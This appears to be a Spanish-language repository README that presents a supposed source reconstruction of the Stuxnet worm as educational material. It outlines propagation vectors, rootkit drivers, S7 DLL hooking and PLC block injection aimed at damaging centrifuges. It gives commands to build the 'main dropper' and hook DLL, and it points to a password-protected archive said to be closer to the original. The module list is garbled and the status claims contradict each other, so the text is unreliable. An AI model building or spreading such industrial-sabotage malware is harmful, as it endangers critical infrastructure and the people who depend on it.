
Reconstrucción educativa del gusano Stuxnet para análisis de malware e investigación defensiva. Incluye módulos para escalada de privilegios, funcionalidad de rootkit e inyección de payloads en PLC dirigidos a Siemens Step 7 y PLCs S7.
Gracias por darle me gusta a este repositorio. Su valor radica en liberar a las personas de tener que leer informes aburridos y dispersos que ocupan miles de páginas, los cuales consumen una enorme cantidad de tiempo y energía. Este repositorio es muy legible; no persigue ciegamente la versión original, sino que está más orientado al lector general.
Este repositorio contiene una reconstrucción estrictamente educativa y orientada a la investigación del infame gusano Stuxnet. Es el producto de innumerables horas de trabajo de ingeniería inversa realizadas por la comunidad global de investigación de seguridad sobre las muestras binarias originales descubiertas en 2010.
Calidad del código aprobada, cobertura exitosa, código limpio verificado. Pero la compilación está en etapa inestable.
Advertencia: Este código se proporciona únicamente para estudio académico, capacitación en análisis de malware e investigación defensiva. Los autores y colaboradores no aprueban actividades ilegales o poco éticas.
No está destinado a ser utilizado con fines maliciosos, ni es una pieza de malware desplegable.
- Estado
Descripción general
Componentes principales
Arquitectura técnica
Instrucciones de compilación
Uso
Legal y licencia
Agradecimientos
# Estado
- Compilación: Inestable
- Código limpio: Verificado
- Calidad del código: Pruebas aprobadas
- Cobertura: Excelente
Hora: 2026-10-17 06:00
Se agregó una versión más cercana al original en detalle, además de una versión limpia. ambas construidas enteramente a partir de las pistas conocidas. El archivo se llama Reboot.zip y la contraseña es Stuxnet.
Si no crees que la versión de reconstrucción sea buena...
Stuxnet es ampliamente reconocido como la primera ciberarma conocida diseñada para causar destrucción física a los sistemas de control industrial (ICS). Se dirigió específicamente al software Siemens Step 7 y a los PLC S7-300/400, manipulando en última instancia los accionamientos de convertidores de frecuencia para dañar los rotores de las centrífugas.
Este repositorio es un código fuente reconstruido derivado de los binarios descompilados. Conserva la lógica y los vectores de ataque originales mientras estructura el código base para facilitar la legibilidad y el análisis.
Objetivo: Siemens SIMATIC WinCC, Step 7 y PLCs S7.
Propagación: Unidades USB (exploits LNK), recursos compartidos de red (Print Spooler), Peer-to-Peer (P2P).
Carga útil: Modificación de la lógica de bloques del PLC (OB1/OB35) para alterar las frecuencias de los motores.
Sigilo: Capacidades avanzadas de rootkit (MRxCls.sys, MRxNet.sys) para ocultar archivos, procesos y entradas del registro.
El repositorio está organizado según los módulos principales identificados durante el análisis del malware original.
winsta.exe, ~WTR4141.tmp~WTR4132.tmpWin32k.sys para obtener privilegios a nivel de sistema.s7otbxdx.dlls7otbxsx.dll original. Intercepta la comunicación entre Step 7 y el PLC.- Módulo: Biblioteca de enlaces Step7
- Nombre de archivo:
s7aaapix.dll- Descripción: Intercepta las llamadas a la API de AUT (Automation Tool) dentro del entorno de ingeniería Step 7.
mrxcls.sysmrxnet.sys- Módulo: Payload (Ataque)
- Nombre de archivo:
s7plcmain- Descripción: La lógica central responsable del ataque de "Manipulación de Frecuencia" que daña las centrífugas.
A continuación se describe el flujo de ejecución de alto nivel del framework Stuxnet.
Etapa 1: Vector de infección inicial (USB/Red)
Etapa 2: Dropper y escalada
Etapa 3: Comprobar entorno
Etapa 4a: Objetivo encontrado (Software Siemens) -> Instalar enlaces S7
Etapa 4b: No objetivo -> Autodestrucción/Inactividad
Etapa 5: Monitorizar escrituras en PLC
Etapa 6: Detectar escritura en OB1/OB35 -> Inyectar payload
Etapa 7: Modificar la salida de frecuencia
Etapa 8: Daño físico a las centrífugas
Etapa 9: Instalar rootkit (MRxCls)
Etapa 10: Ocultar archivos y registro
Etapa 11: Cargar módulo de red (MRxNet)
Etapa 12: Propagación P2P
Flujo de ejecución
Reconocimiento del entorno: El gusano comprueba la presencia de software Siemens específico (WinCC, Step 7) y de PLCs objetivo específicos (S7-315, S7-417).
Inyección de DLL: Intercepta la llamada a la función s7blk_write.
Inyección de código: Cuando un usuario descarga un proyecto al PLC, el código malicioso se añade a los bloques OB1/OB35.
Impacto físico: El PLC ejecuta el código manipulado, provocando que los variadores de frecuencia (VFD) conectados giren a frecuencias anómalas (altas/bajas), lo que resulta en daños mecánicos.
Importante: Este código está diseñado para análisis estático y depuración en un entorno virtual controlado. No está destinado a su despliegue en vivo en ninguna infraestructura crítica.
Entorno de compilación: Microsoft Visual Studio 2019/2022 (Windows) o mingw-w64.
SO objetivo: Windows XP / Windows 7 (para compatibilidad con los controladores).
Driver Kit: Windows Driver Kit (WDK) 7600 (si se compilan controladores en modo kernel).
Compilación de los módulos en modo usuario
Clonar el repositorio
git clone https://github.com/Sadpainy/Stuxnet.git
cd Stuxnet
Construir el dropper principal
cd Main
nmake /f Makefile.win
Compilar la biblioteca de hooks S7
cd ../s7otbxdx
cl /LD s7otbxdx.dll.c user32.lib ws2_32.lib
Este código está destinado a:
Análisis de malware: comprender la lógica de código específica utilizada en amenazas persistentes avanzadas (APT).
Investigación defensiva: desarrollar firmas de detección para herramientas de seguridad de ICS (por ejemplo, reglas YARA, firmas Snort).
Estudio académico: examinar la intersección entre la ciberseguridad y la protección de infraestructuras críticas.
Configuración del análisis